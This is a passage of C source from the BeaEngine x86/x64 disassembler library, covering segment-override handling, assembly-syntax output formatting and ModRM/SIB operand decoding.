                    (*pMyDisasm).Argument1.SegmentReg = SSReg;
                }
            }
        }

        if ((*pMyDisasm).Argument2.ArgType == MEMORY_TYPE) {
            if (((*pMyDisasm).Argument2.Memory.BaseRegister == REG4) || ((*pMyDisasm).Argument2.Memory.BaseRegister == REG5)) {
                (*pMyDisasm).Argument2.SegmentReg = SSReg;
                // ========== override is invalid here
                if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = FSReg;
                    (*pMyDisasm).Prefix.FSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = GSReg;
                    (*pMyDisasm).Prefix.GSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = CSReg;
                    (*pMyDisasm).Prefix.CSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = DSReg;
                    (*pMyDisasm).Prefix.DSPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = ESReg;
                    (*pMyDisasm).Prefix.ESPrefix = InvalidPrefix;
                }
                else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = SSReg;
                    (*pMyDisasm).Prefix.SSPrefix = InvalidPrefix;
                }
            }
            else {
                (*pMyDisasm).Argument2.SegmentReg = DSReg;
                // ============= test if there is override
                if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = FSReg;
                }
                else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = GSReg;
                }
                else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = CSReg;
                }
                else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = ESReg;
                }
                else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) {
                    (*pMyDisasm).Argument2.SegmentReg = SSReg;
                }
            }
        }
    }
}
// ====================================================================
//
// ====================================================================
void __stdcall BuildCompleteInstruction(PDISASM pMyDisasm)
{
    int i = 0;
    // =============== Copy Instruction Mnemonic

    if ((*pMyDisasm).Prefix.RepnePrefix == InUsePrefix) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "repne ");
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
    if ((*pMyDisasm).Prefix.RepPrefix == InUsePrefix) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "rep ");
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
    if ((*pMyDisasm).Prefix.LockPrefix == InUsePrefix) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "lock ");
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Instruction.Mnemonic);
    i = strlen((char*) &(*pMyDisasm).CompleteInstr);

    // =============== if TAB = 1, add tabulation
    if (TAB_ == 1) {
       (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, space_tab[10-i]);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
    // =============== if Arg1.IsMemoryType, add decoration - example == "dword ptr ds:["
    if ((OpSize >0) && (OpSize < 99)) {
        if (SYNTAX_ == NasmSyntax) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, NasmPrefixes[OpSize-1]);
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
                if (SEGMENTREGS != 0) {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]);
                }
                else {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                }
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
        }
        else {
            if (SYNTAX_ == MasmSyntax) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, MasmPrefixes[OpSize-1]);
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, GoAsmPrefixes[OpSize-1]);
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                if (SEGMENTREGS != 0) {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]);
                }
                else {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                }
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
        }
        // =============== add Arg1.Mnemonic
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "]");
        i++;
    }
    // =============== add Arg1.Mnemonic
    else {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }

    // =============== if Arg2.Exists and Arg1.Exists , add","
    if (((BYTE)*((BYTE*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) && ((BYTE)*((BYTE*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, " , ");
        i += 3;
    }

    // =============== if Arg2.IsMemoryType, add decoration - example == "dword ptr ds:["
    if ((OpSize >100) && (OpSize < 199)) {
        OpSize -= 100;
        if (SYNTAX_ == NasmSyntax) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, NasmPrefixes[OpSize-1]);
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
                if (SEGMENTREGS != 0) {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]);
                }
                else {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                }
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
        }
        else {
            if (SYNTAX_ == MasmSyntax) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, MasmPrefixes[OpSize-1]);
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, GoAsmPrefixes[OpSize-1]);
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
            }
            if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                if (SEGMENTREGS != 0) {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]);
                }
                else {
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                }
                i = strlen((char*) &(*pMyDisasm).CompleteInstr);
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
            else {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "[");
                i++;
            }
        }
        // =============== add Arg2.ArgMnemonic
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "]");
        i++;
    }
    // =============== add Arg2.ArgMnemonic
    else {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }


    // =============== if Arg3.Exists
    if (third_arg != 0) {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, " , ");
        i += 3;
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument3.ArgMnemonic);
    }



}

// ====================================================================
//
// ====================================================================
void __stdcall BuildCompleteInstructionATSyntax(PDISASM pMyDisasm)
{
    int i = 0;
    // =============== Copy Instruction Mnemonic
    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr, (char*) &(*pMyDisasm).Instruction.Mnemonic);
    i = strlen((char*) &(*pMyDisasm).CompleteInstr);

    // =============== suffix the mnemonic
    if (OpSize != 0) {
        if (OpSize > 99) OpSize -= 100;
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[OpSize-1]);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
    else {
        if ((*pMyDisasm).Argument1.ArgType != NO_ARGUMENT) {
            if ((*pMyDisasm).Argument1.ArgSize == 8) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[0]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 16) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[1]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 32) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[2]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 64) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[3]);
            }
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
        }
        else if ((*pMyDisasm).Argument1.ArgType != NO_ARGUMENT) {
            if ((*pMyDisasm).Argument1.ArgSize == 8) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[0]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 16) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[1]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 32) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[2]);
            }
            else if ((*pMyDisasm).Argument1.ArgSize == 64) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[3]);
            }
            i = strlen((char*) &(*pMyDisasm).CompleteInstr);
        }
    }
    // =============== if TAB = 1, add tabulation
    if (TAB_ == 1) {
       (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, space_tab[10-i]);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }

    // =============== if Arg3.Exists, display it
    if (third_arg != 0) {
        if ((*pMyDisasm).Argument3.ArgType & REGISTER_TYPE) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%");
            i++;
        }
        else if ((*pMyDisasm).Argument3.ArgType & CONSTANT_TYPE) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "$");
            i++;
        }
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument3.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }

    // =============== if Arg3.Exists and Arg2.Exists , display " , "
    if ((third_arg != 0) && (*((BYTE*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, " , ");
        i += 3;
    }

    // =============== if Arg2 exists, display it
    if (*((BYTE*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0) {
        if ((*pMyDisasm).Argument2.ArgType & CONSTANT_TYPE) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "$");
            i++;
        }
        else {
            if ((*pMyDisasm).Instruction.BranchType != 0) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "*");
                i++;
            }
            if ((*pMyDisasm).Argument2.ArgType & REGISTER_TYPE) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%");
                i++;
            }
            else if ((*pMyDisasm).Argument2.ArgType & CONSTANT_TYPE) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "$");
                i++;
            }
            else {
                if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%");
                    i++;
                    if (SEGMENTREGS != 0) {
                        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]);
                    }
                    else {
                        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                    }
                    i = strlen((char*) &(*pMyDisasm).CompleteInstr);
                }
            }
        }
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }

    // =============== if Arg2.Exists and Arg1.Exists , display " , "
    if (((BYTE)*((BYTE*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) && ((BYTE)*((BYTE*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) {
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, " , ");
        i += 3;
    }

    // =============== if Arg1 exists, display it
    if (*((BYTE*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) {
        if ((*pMyDisasm).Argument1.ArgType & CONSTANT_TYPE) {
            (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "$");
            i++;
        }
        else {
            if ((*pMyDisasm).Instruction.BranchType != 0) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "*");
                i++;
            }
            if ((*pMyDisasm).Argument1.ArgType & REGISTER_TYPE) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%");
                i++;
            }
            else if ((*pMyDisasm).Argument1.ArgType & CONSTANT_TYPE) {
                (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "$");
                i++;
            }
            else {
                if ((SEGMENTREGS != 0) || (SEGMENTFS != 0)){
                    (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%");
                    i++;
                    if (SEGMENTREGS != 0) {
                        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]);
                    }
                    else {
                        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]);
                    }
                    i = strlen((char*) &(*pMyDisasm).CompleteInstr);
                }
            }
        }
        (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic);
        i = strlen((char*) &(*pMyDisasm).CompleteInstr);
    }
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.
// =======================================
//
// =======================================
void __stdcall MOD_RM(ARGTYPE* pMyArgument)
{
    DECALAGE_EIP = 0;
    if (!Security(1)) return;
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
    RM_  = (*((BYTE*) (EIP_ + 1))) & 0x7;
    if (MOD_ == 0) {
        ModRM_0[RM_](pMyArgument);
    }
    else if (MOD_ == 1) {
        DECALAGE_EIP++;
        ModRM_1[RM_](pMyArgument);
    }
    else if (MOD_ == 2) {
        if (AddressSize >= 32) {
            DECALAGE_EIP += 4;
        }
        else {
            DECALAGE_EIP += 2;
        }
        ModRM_2[RM_](pMyArgument);
    }
    else {
        ModRM_3[RM_](pMyArgument);
    }

}
// =======================================
//
// =======================================
void __stdcall Reg_Opcode(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (!Security(1)) return;
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REX.R_ == 1) {
        REGOPCODE += 0x8;
    }
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 64;
    }
    else if (SEG_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSEG[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 16;
    }
    else if (CR_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersCR[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + CR_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 32;
    }
    else if (DR_ == 1) {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersDR_AT[REGOPCODE]);
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersDR[REGOPCODE]);
        }
        (*pMyArgument).ArgType = REGISTER_TYPE + DR_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 32;
    }
    else if (SSE_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 128;
    }
    else if (OperandSize == 8) {
        if (REX.state == 0) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[REGOPCODE]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[REGOPCODE];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[REGOPCODE]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[REGOPCODE];
            (*pMyArgument).ArgSize = 8;
        }
    }
    else if (OperandSize == 16) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 16;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 32;
    }
    else if (OperandSize == 64) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[REGOPCODE]);
        (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[REGOPCODE];
        (*pMyArgument).ArgSize = 64;
    }
}
// =======================================
//          ModRM_0
// =======================================
void __stdcall Addr_EAX(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }

}
// =======================================
//
// =======================================
void __stdcall Addr_ECX(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }

}

// =======================================
//
// =======================================
void __stdcall Addr_EDX(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }

}


// =======================================
//
// =======================================
void __stdcall Addr_EBX(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }

}

// =======================================
//
// =======================================
void __stdcall Addr_SIB(ARGTYPE* pMyArgument)
{
    if (!Security(2)) return;
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize >= 32) {
        DECALAGE_EIP++;
        BASE_ = ((BYTE) *((BYTE*) EIP_ + 2)) & 0x7;
        SCALE_ = (((BYTE) *((BYTE*) EIP_ + 2)) & 0xc0) >> 6;
        INDEX_ = (((BYTE) *((BYTE*) EIP_ + 2)) & 0x38) >> 3;
        (void) SIB[SCALE_](pMyArgument, 0);
    }
    else {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]);
        (*pMyArgument).Memory.BaseRegister = REGS[6];
    }
}

// =======================================
//
// =======================================
void __stdcall Addr_disp32(ARGTYPE* pMyArgument)
{
    long MyNumber;
    long long MyAddress;
    int i = 0;
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize >= 32) {
        if (!Security(6)) return;
        DECALAGE_EIP+=4;
        MyNumber = *((SDWORD*) (EIP_ + 2));
        (*pMyArgument).Memory.Displacement = MyNumber;
        if (Architecture == 64) {
            MyNumber += 6;
            MyNumber += NB_PREFIX;
            CalculateRelativeAddress(&MyAddress, MyNumber);
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%I64X", MyAddress);
        }
        else {
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
    else {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[7]);
        (*pMyArgument).Memory.BaseRegister = REGS[7];
    }
}

// =======================================
//
// =======================================
void __stdcall Addr_ESI(ARGTYPE* pMyArgument)
{
    long MyNumber;
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else {
        DECALAGE_EIP+=2;
        MyNumber = *((WORD*) (EIP_ + 2));
        (*pMyArgument).Memory.Displacement = MyNumber;
        if (!Security(2)) return;
        (void) CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.4X", MyNumber);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
}

// =======================================
//
// =======================================
void __stdcall Addr_EDI(ARGTYPE* pMyArgument)
{
    int i = 0;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic, "(%");
        i += 2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];
        }
        else {
